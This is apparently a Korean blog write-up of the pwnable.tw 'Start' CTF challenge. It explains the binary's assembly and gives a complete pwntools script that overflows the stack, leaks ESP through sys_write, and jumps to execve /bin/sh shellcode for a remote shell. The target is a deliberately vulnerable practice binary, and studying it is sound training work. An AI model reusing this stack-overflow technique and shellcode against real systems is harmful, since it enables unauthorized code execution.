Phantom

Start 본문

Pwnable/WriteUp

Start

Ph4nt0m_ 2022. 7. 3. 03:18
반응형

Start

Source

push    esp
push    offset _exit
xor     eax, eax
xor     ebx, ebx
xor     ecx, ecx
xor     edx, edx
push    3A465443h
push    20656874h
push    20747261h
push    74732073h
push    2774654Ch       ; Let's start the CTF:
mov     ecx, esp        ; addr
mov     dl, 14h         ; len
mov     bl, 1           ; fd
mov     al, 4
int     80h             ; LINUX - sys_write
xor     ebx, ebx
mov     dl, 3Ch ; '<'
mov     al, 3
int     80h             ; LINUX - sys_read
add     esp, 14h
retn

문제의 어셈 코드는 a,b,c,d 레지스터를 xor로 초기화하고 스택에 문자열을 5번 푸시한다.

그리고 esp를 ecx에 옮기고 esp는 변동 없이 sys_write, sys_read 함수를 실행한다.

또 하나 read함수의 길이는 0x3C(60)이다.

다행히 헷갈리지 않게 read함수 실행 후 0x14(20) 만큼 스택을 줄여준다.

 

Purpose

해당 쉘코드의 흐름에서 sys_write sys_read를 이용해 $ip의 흐름을 핸들링해 쉘을 얻으면 되는 문제이다.

HOW?

ret가 있고 read 함수로 데이터를 읽을 수 있으니 쉘코드를 읽어 ret에서 jmp 시킬 수 있다.

그런데 어디다?

그것을 위해 sys_write로 해야하는데 좋은점이 ESP가 변하지 않는다. 마지막에 0x14(20)만큼 딱 사용한 만큼 줄어들기 때문에 스택의 주소가 된다.그럼 바로 ret에서 mov ecx, esp 로 jmp 시키면

sys_write(1, esp, 0x14) 가 된다. 스택의 주소이다. 그래서 그냥 EIP의 주소를 20바이트 뒤로 밀어버렸다.

Solve

from pwn import *

p = remote("chall.pwnable.tw", 10000)
#p = process("./start")

#context.log_level = "DEBUG"
context.arch = 'i386'
context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(p, "b*0x8048087")
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

print p.recvuntil("Let's start the CTF:")
payload = ""
payload += "A"*20
payload += p32(0x8048087)

p.send(payload)
leak = u32(p.recv(4))
print "leak : ", hex(leak)
print p.recv()


payload2 = ""
payload2 += "\x90"*0x14
payload2 += p32(leak+0x14)
payload2 += shellcode
p.send(payload2)

p.interactive()

 

반응형

'Pwnable > WriteUp' 카테고리의 다른 글

Simple login  (0) 2019.06.06
CodeGate 2014 Nuclear WriteUp  (0) 2017.07.18
1 Plaid CTF 2013 - ropasaurusrex  (0) 2017.04.26
ActiveX Heap Spray_COMRaider Fuzzing POC  (2) 2016.05.16
붉은별 OS 3.0 local privilege escalation POC  (0) 2016.05.09
Comments